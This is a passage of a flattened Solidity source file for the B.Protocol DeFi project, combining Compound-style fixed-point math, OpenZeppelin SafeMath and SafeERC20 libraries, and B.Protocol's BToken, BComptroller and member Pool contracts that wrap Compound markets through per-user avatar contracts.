contract Exponential is CarefulMath {
uint constant expScale = 1e18;
uint constant doubleScale = 1e36;
uint constant halfExpScale = expScale/2;
uint constant mantissaOne = expScale;
struct Exp {
uint mantissa;
}
struct Double {
uint mantissa;
}
/**
* @dev Creates an exponential from numerator and denominator values.
* Note: Returns an error if (`num` * 10e18) > MAX_INT,
* or if `denom` is zero.
*/
function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledNumerator) = mulUInt(num, expScale);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
(MathError err1, uint rational) = divUInt(scaledNumerator, denom);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: rational}));
}
/**
* @dev Multiply an Exp by a scalar, returning a new Exp.
*/
function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa}));
}
/**
* @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.
*/
function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(product));
}
/**
* @dev Divide a scalar by an Exp, returning a new Exp.
*/
function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) {
/*
We are doing this as:
getExp(mulUInt(expScale, scalar), divisor.mantissa)
How it works:
Exp = a / b;
Scalar = s;
`s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale`
*/
(MathError err0, uint numerator) = mulUInt(expScale, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return getExp(numerator, divisor.mantissa);
}
/**
* @dev Multiplies two exponentials, returning a new exponential.
*/
function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
// We add half the scale before dividing so that we get rounding instead of truncation.
// See "Listing 6" and text above it at https://accu.org/index.php/journals/1717
// Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18.
(MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
(MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale);
// The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero.
assert(err2 == MathError.NO_ERROR);
return (MathError.NO_ERROR, Exp({mantissa: product}));
}
/**
* @dev Multiplies two exponentials given their mantissas, returning a new exponential.
*/
function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) {
return mulExp(Exp({mantissa: a}), Exp({mantissa: b}));
}
/**
* @dev Divides two exponentials, returning a new exponential.
* (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b,
* which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa)
*/
function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
return getExp(a.mantissa, b.mantissa);
}
/**
* @dev Truncates the given exp to a whole number value.
* For example, truncate(Exp{mantissa: 15 * expScale}) = 15
*/
function truncate(Exp memory exp) pure internal returns (uint) {
// Note: We are not using careful math here as we're performing a division that cannot fail
return exp.mantissa / expScale;
}
function safe224(uint n, string memory errorMessage) pure internal returns (uint224) {
require(n < 2**224, errorMessage);
return uint224(n);
}
function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(uint a, uint b) pure internal returns (uint) {
return add_(a, b, "addition overflow");
}
function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(uint a, uint b) pure internal returns (uint) {
return sub_(a, b, "subtraction underflow");
}
function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b <= a, errorMessage);
return a - b;
}
function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale});
}
function mul_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Exp memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / expScale;
}
function mul_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale});
}
function mul_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Double memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / doubleScale;
}
function mul_(uint a, uint b) pure internal returns (uint) {
return mul_(a, b, "multiplication overflow");
}
function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
if (a == 0 || b == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)});
}
function div_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Exp memory b) pure internal returns (uint) {
return div_(mul_(a, expScale), b.mantissa);
}
function div_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)});
}
function div_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Double memory b) pure internal returns (uint) {
return div_(mul_(a, doubleScale), b.mantissa);
}
function div_(uint a, uint b) pure internal returns (uint) {
return div_(a, b, "divide by zero");
}
function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b > 0, errorMessage);
return a / b;
}
function fraction(uint a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a, doubleScale), b)});
}
// New functions added by BProtocol
// =================================
function mulTrucate(uint a, uint b) internal pure returns (uint) {
return mul_(a, b) / expScale;
}
}
// File @openzeppelin/contracts/math/[email protected]
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File contracts/bprotocol/btoken/AbsBToken.sol
pragma solidity 0.5.16;
// Interface
// Libs
/**
* @title AbsBToken is BProtocol token contract which represents the Compound's CToken
*/
contract AbsBToken is Exponential {
using SafeERC20 for IERC20;
// BProtocol Registry contract
IRegistry public registry;
// Compound's CToken this BToken contract is tied to
address public cToken;
modifier onlyDelegatee(address _avatar) {
// `msg.sender` is delegatee
require(registry.delegate(_avatar, msg.sender), "BToken: delegatee-not-authorized");
_;
}
constructor(address _registry, address _cToken) internal {
registry = IRegistry(_registry);
cToken = _cToken;
}
function _myAvatar() internal returns (address) {
return registry.getAvatar(msg.sender);
}
// CEther / CErc20
// ===============
function borrowBalanceCurrent(address account) external returns (uint256) {
address _avatar = registry.getAvatar(account);
return IAvatar(_avatar).borrowBalanceCurrent(cToken);
}
// redeem()
function redeem(uint256 redeemTokens) external returns (uint256) {
return _redeem(_myAvatar(), redeemTokens);
}
function redeemOnAvatar(address _avatar, uint256 redeemTokens) external onlyDelegatee(_avatar) returns (uint256) {
return _redeem(_avatar, redeemTokens);
}
function _redeem(address _avatar, uint256 redeemTokens) internal returns (uint256) {
uint256 result = IAvatar(_avatar).redeem(cToken, redeemTokens, msg.sender);
require(result == 0, "BToken: redeem-failed");
return result;
}
// redeemUnderlying()
function redeemUnderlying(uint256 redeemAmount) external returns (uint256) {
return _redeemUnderlying(_myAvatar(), redeemAmount);
}
function redeemUnderlyingOnAvatar(address _avatar, uint256 redeemAmount) external onlyDelegatee(_avatar) returns (uint256) {
return _redeemUnderlying(_avatar, redeemAmount);
}
function _redeemUnderlying(address _avatar, uint256 redeemAmount) internal returns (uint256) {
uint256 result = IAvatar(_avatar).redeemUnderlying(cToken, redeemAmount, msg.sender);
require(result == 0, "BToken: redeemUnderlying-failed");
return result;
}
// borrow()
function borrow(uint256 borrowAmount) external returns (uint256) {
return _borrow(_myAvatar(), borrowAmount);
}
function borrowOnAvatar(address _avatar, uint256 borrowAmount) external onlyDelegatee(_avatar) returns (uint256) {
return _borrow(_avatar, borrowAmount);
}
function _borrow(address _avatar, uint256 borrowAmount) internal returns (uint256) {
uint256 result = IAvatar(_avatar).borrow(cToken, borrowAmount, msg.sender);
require(result == 0, "BToken: borrow-failed");
return result;
}
// other functions
function exchangeRateCurrent() public returns (uint256) {
return ICToken(cToken).exchangeRateCurrent();
}
function exchangeRateStored() public view returns (uint) {
return ICToken(cToken).exchangeRateStored();
}
// IERC20
// =======
// transfer()
function transfer(address dst, uint256 amount) external returns (bool) {
return _transfer(_myAvatar(), dst, amount);
}
function transferOnAvatar(address _avatar, address dst, uint256 amount) external onlyDelegatee(_avatar) returns (bool) {
return _transfer(_avatar, dst, amount);
}
function _transfer(address _avatar, address dst, uint256 amount) internal returns (bool) {
bool result = IAvatar(_avatar).transfer(cToken, dst, amount);
require(result, "BToken: transfer-failed");
return result;
}
// transferFrom()
function transferFrom(address src, address dst, uint256 amount) external returns (bool) {
return _transferFrom(_myAvatar(), src, dst, amount);
}
function transferFromOnAvatar(address _avatar, address src, address dst, uint256 amount) external onlyDelegatee(_avatar) returns (bool) {
return _transferFrom(_avatar, src, dst, amount);
}
function _transferFrom(address _avatar, address src, address dst, uint256 amount) internal returns (bool) {
bool result = IAvatar(_avatar).transferFrom(cToken, src, dst, amount);
require(result, "BToken: transferFrom-failed");
return result;
}
// approve()
function approve(address spender, uint256 amount) public returns (bool) {
return IAvatar(_myAvatar()).approve(cToken, spender, amount);
}
function approveOnAvatar(address _avatar, address spender, uint256 amount) public onlyDelegatee(_avatar) returns (bool) {
return IAvatar(_avatar).approve(cToken, spender, amount);
}
function allowance(address owner, address spender) public view returns (uint256) {
address spenderAvatar = registry.avatarOf(spender);
if(spenderAvatar == address(0)) return 0;
return ICToken(cToken).allowance(registry.avatarOf(owner), spenderAvatar);
}
function balanceOf(address owner) public view returns (uint256) {
address avatar = registry.avatarOf(owner);
if(avatar == address(0)) return 0;
return ICToken(cToken).balanceOf(avatar);
}
function balanceOfUnderlying(address owner) external returns (uint) {
address avatar = registry.avatarOf(owner);
if(avatar == address(0)) return 0;
return ICToken(cToken).balanceOfUnderlying(avatar);
}
function name() public view returns (string memory) {
return ICToken(cToken).name();
}
function symbol() public view returns (string memory) {
return ICToken(cToken).symbol();
}
function decimals() public view returns (uint8) {
return ICToken(cToken).decimals();
}
function totalSupply() public view returns (uint256) {
return ICToken(cToken).totalSupply();
}
}
// File contracts/bprotocol/btoken/BErc20.sol
pragma solidity 0.5.16;
contract BErc20 is AbsBToken {
IERC20 public underlying;
constructor(
address _registry,
address _cToken
) public AbsBToken(_registry, _cToken) {
underlying = ICToken(cToken).underlying();
}
// mint()
function mint(uint256 mintAmount) external returns (uint256) {
return _mint(_myAvatar(), mintAmount);
}
function mintOnAvatar(address _avatar, uint256 mintAmount) external onlyDelegatee(_avatar) returns (uint256) {
return _mint(_avatar, mintAmount);
}
function _mint(address _avatar, uint256 mintAmount) internal returns (uint256) {
underlying.safeTransferFrom(msg.sender, _avatar, mintAmount);
uint256 result = IAvatarCErc20(_avatar).mint(cToken, mintAmount);
require(result == 0, "BErc20: mint-failed");
return result;
}
// repayBorrow()
function repayBorrow(uint256 repayAmount) external returns (uint256) {
return _repayBorrow(_myAvatar(), repayAmount);
}
function repayBorrowOnAvatar(address _avatar, uint256 repayAmount) external onlyDelegatee(_avatar) returns (uint256) {
return _repayBorrow(_avatar, repayAmount);
}
function _repayBorrow(address _avatar, uint256 repayAmount) internal returns (uint256) {
uint256 actualRepayAmount = repayAmount;
if(repayAmount == uint256(-1)) {
actualRepayAmount = IAvatarCErc20(_avatar).borrowBalanceCurrent(cToken);
}
underlying.safeTransferFrom(msg.sender, _avatar, actualRepayAmount);
uint256 result = IAvatarCErc20(_avatar).repayBorrow(cToken, actualRepayAmount);
require(result == 0, "BErc20: repayBorrow-failed");
return result;
}
}
// File contracts/bprotocol/btoken/BEther.sol
pragma solidity 0.5.16;
contract BEther is AbsBToken {
constructor(
address _registry,
address _cToken
) public AbsBToken(_registry, _cToken) {}
function _myAvatarCEther() internal returns (IAvatarCEther) {
return IAvatarCEther(address(_myAvatar()));
}
// mint()
function mint() external payable {
// CEther calls requireNoError() to ensure no failures
_myAvatarCEther().mint.value(msg.value)();
}
function mintOnAvatar(address _avatar) external onlyDelegatee(_avatar) payable {
// CEther calls requireNoError() to ensure no failures
IAvatarCEther(_avatar).mint.value(msg.value)();
}
// repayBorrow()
function repayBorrow() external payable {
// CEther calls requireNoError() to ensure no failures
_myAvatarCEther().repayBorrow.value(msg.value)();
}
function repayBorrowOnAvatar(address _avatar) external onlyDelegatee(_avatar) payable {
// CEther calls requireNoError() to ensure no failures
IAvatarCEther(_avatar).repayBorrow.value(msg.value)();
}
}
// File contracts/bprotocol/interfaces/IComptroller.sol
pragma solidity 0.5.16;
interface IComptroller {
// ComptrollerLensInterface.sol
// =============================
function markets(address) external view returns (bool, uint);
function oracle() external view returns (address);
function getAccountLiquidity(address) external view returns (uint, uint, uint);
function getAssetsIn(address) external view returns (address[] memory);
function compAccrued(address) external view returns (uint);
// Claim all the COMP accrued by holder in all markets
function claimComp(address holder) external;
// Claim all the COMP accrued by holder in specific markets
function claimComp(address holder, address[] calldata cTokens) external;
function claimComp(address[] calldata holders, address[] calldata cTokens, bool borrowers, bool suppliers) external;
// Public storage defined in Comptroller contract
// ===============================================
function checkMembership(address account, address cToken) external view returns (bool);
function closeFactorMantissa() external returns (uint256);
function liquidationIncentiveMantissa() external returns (uint256);
// Public/external functions defined in Comptroller contract
// ==========================================================
function enterMarkets(address[] calldata cTokens) external returns (uint[] memory);
function exitMarket(address cToken) external returns (uint);
function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint);
function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint);
function getAllMarkets() external view returns (address[] memory);
function liquidateCalculateSeizeTokens(
address cTokenBorrowed,
address cTokenCollateral,
uint actualRepayAmount) external view returns (uint, uint);
function compBorrowState(address cToken) external returns (uint224, uint32);
function compSupplyState(address cToken) external returns (uint224, uint32);
}
// File contracts/bprotocol/BComptroller.sol
pragma solidity 0.5.16;
contract BComptroller {
IComptroller public comptroller;
IRegistry public registry;
// CToken => BToken
mapping(address => address) public c2b;
// BToken => CToken
mapping(address => address) public b2c;
event NewBToken(address indexed cToken, address bToken);
modifier onlyDelegatee(IAvatar _avatar) {
// `msg.sender` is delegatee
require(registry.delegate(address(_avatar), msg.sender), "BComptroller: delegatee-not-authorized");
_;
}
constructor(address _comptroller) public {
comptroller = IComptroller(_comptroller);
}
function setRegistry(address _registry) public {
require(address(registry) == address(0), "BComptroller: registry-already-set");
registry = IRegistry(_registry);
}
function newBToken(address cToken) external returns (address) {
require(c2b[cToken] == address(0), "BComptroller: BToken-already-exists");
(bool isListed,) = comptroller.markets(cToken);
require(isListed, "BComptroller: cToken-not-listed-on-compound");
bool is_cETH = cToken == registry.cEther();
address bToken;
if(is_cETH) {
bToken = address(new BEther(address(registry), cToken));
} else {
bToken = address(new BErc20(address(registry), cToken));
}
c2b[cToken] = bToken;
b2c[bToken] = cToken;
emit NewBToken(cToken, bToken);
return bToken;
}
function isBToken(address bToken) public view returns (bool) {
return b2c[bToken] != address(0);
}
function enterMarket(address bToken) external returns (uint256) {
IAvatar avatar = IAvatar(registry.getAvatar(msg.sender));
return _enterMarket(avatar, bToken);
}
function enterMarketOnAvatar(IAvatar avatar, address bToken) external onlyDelegatee(avatar) returns (uint256) {
return _enterMarket(avatar, bToken);
}
function _enterMarket(IAvatar avatar, address bToken) internal returns (uint256) {
require(b2c[bToken] != address(0), "BComptroller: CToken-not-exist-for-bToken");
return avatar.enterMarket(bToken);
}
function enterMarkets(address[] calldata bTokens) external returns (uint256[] memory) {
IAvatar avatar = IAvatar(registry.getAvatar(msg.sender));
return _enterMarkets(avatar, bTokens);
}
function enterMarketsOnAvatar(IAvatar avatar, address[] calldata bTokens) external onlyDelegatee(avatar) returns (uint256[] memory) {
return _enterMarkets(avatar, bTokens);
}
function _enterMarkets(IAvatar avatar, address[] memory bTokens) internal returns (uint256[] memory) {
for(uint i = 0; i < bTokens.length; i++) {
require(b2c[bTokens[i]] != address(0), "BComptroller: CToken-not-exist-for-bToken");
}
return avatar.enterMarkets(bTokens);
}
function exitMarket(address bToken) external returns (uint256) {
IAvatar avatar = IAvatar(registry.getAvatar(msg.sender));
return avatar.exitMarket(bToken);
}
function exitMarketOnAvatar(IAvatar avatar, address bToken) external onlyDelegatee(avatar) returns (uint256) {
return avatar.exitMarket(bToken);
}
function getAccountLiquidity(address account) external view returns (uint err, uint liquidity, uint shortFall) {
IAvatar avatar = IAvatar(registry.avatarOf(account));
if(avatar == IAvatar(0)) return (0, 0, 0);
return avatar.getAccountLiquidity();
}
function claimComp(address holder) external {
IAvatar avatar = IAvatar(registry.getAvatar(holder));
avatar.claimComp();
}
function claimComp(address holder, address[] calldata bTokens) external {
IAvatar avatar = IAvatar(registry.getAvatar(holder));
avatar.claimComp(bTokens);
}
function claimComp(
address[] calldata holders,
address[] calldata bTokens,
bool borrowers,
bool suppliers
)
external
{
for(uint256 i = 0; i < holders.length; i++) {
IAvatar avatar = IAvatar(registry.getAvatar(holders[i]));
avatar.claimComp(bTokens, borrowers, suppliers);
}
}
function oracle() external view returns (address) {
return comptroller.oracle();
}
function getAllMarkets() external view returns (address[] memory) {
return comptroller.getAllMarkets();
}
}
// File contracts/bprotocol/interfaces/IBToken.sol
pragma solidity 0.5.16;
interface IBToken {
function cToken() external view returns (address);
function borrowBalanceCurrent(address account) external returns (uint);
function balanceOfUnderlying(address owner) external returns (uint);
}
// File contracts/bprotocol/interfaces/IUniswapAnchoredView.sol
pragma solidity 0.5.16;
interface IUniswapAnchoredView {
function postPrices(bytes[] calldata messages, bytes[] calldata signatures, string[] calldata symbols) external;
function price(string calldata symbol) external view returns (uint);
function getUnderlyingPrice(address cToken) external view returns (uint);
}
// File contracts/bprotocol/interfaces/IBComptroller.sol
pragma solidity 0.5.16;
interface IBComptroller {
function isCToken(address cToken) external view returns (bool);
function isBToken(address bToken) external view returns (bool);
function c2b(address cToken) external view returns (address);
function b2c(address bToken) external view returns (address);
}
// File contracts/bprotocol/Pool.sol
pragma solidity 0.5.16;
/**
* @title Pool contract to manage the pool of member's fund
*/
contract Pool is Exponential, Ownable {
using SafeERC20 for IERC20;
address internal constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
IComptroller public comptroller;
IBComptroller public bComptroller;
IRegistry public registry;
address public jar;
address public cEther;
address[] public members;
// member share profit params
uint public shareNumerator;
uint public shareDenominator;
// member => underlying => amount
mapping(address => mapping(address => uint)) public balance;
// member => underlying => amount
mapping(address => mapping(address => uint)) public topupBalance;
// avatar => TopupInfo
mapping(address => TopupInfo) public topped;
// bToken => threshold
mapping(address => uint) public minSharingThreshold; // debt above this size will be shared
uint public minTopupBps = 250; // 2.5%
uint public holdingTime = 5 hours; // after 5 hours, someone else can topup instead
uint public selectionDuration = 60 minutes; // member selection duration for round robin, default 60 mins
struct MemberTopupInfo {
uint expire; // after expire time, other member can topup. relevant only if small
uint amountTopped; // amount of underlying tokens toppedUp
uint amountLiquidated; // how much was already liquidated
}
struct TopupInfo {
mapping(address => MemberTopupInfo) memberInfo; // info per member
uint debtToLiquidatePerMember; // total debt avail to liquidate
address cToken; // underlying debt cToken address
}
function getMemberTopupInfo(
address user,
address member
)
public
view
returns (
uint expire,
uint amountTopped,
uint amountLiquidated
)
{
address avatar = registry.avatarOf(user);
MemberTopupInfo memory memberInfo = topped[avatar].memberInfo[member];
expire = memberInfo.expire;
amountTopped = memberInfo.amountTopped;
amountLiquidated = memberInfo.amountLiquidated;
}
function getDebtTopupInfo(address user, address bTokenDebt) public /* view */ returns(uint minTopup, uint maxTopup, bool isSmall) {
uint debt = IBToken(bTokenDebt).borrowBalanceCurrent(user);
minTopup = mul_(debt, minTopupBps) / 10000;
maxTopup = debt / members.length;
isSmall = debt < minSharingThreshold[bTokenDebt];
}
function untop(address user, uint underlyingAmount) public onlyMember {
_untop(msg.sender, user, underlyingAmount);
}
function _untopOnBehalf(address member, address user, uint underlyingAmount) internal {
_untop(member, user, underlyingAmount);
}
function _untop(address member, address user, uint underlyingAmount) internal {
require(underlyingAmount > 0, "Pool: amount-is-zero");
address avatar = registry.avatarOf(user);
TopupInfo storage info = topped[avatar];
address bToken = bComptroller.c2b(info.cToken);
MemberTopupInfo storage memberInfo = info.memberInfo[member];
// cannot untop more than topped up amount
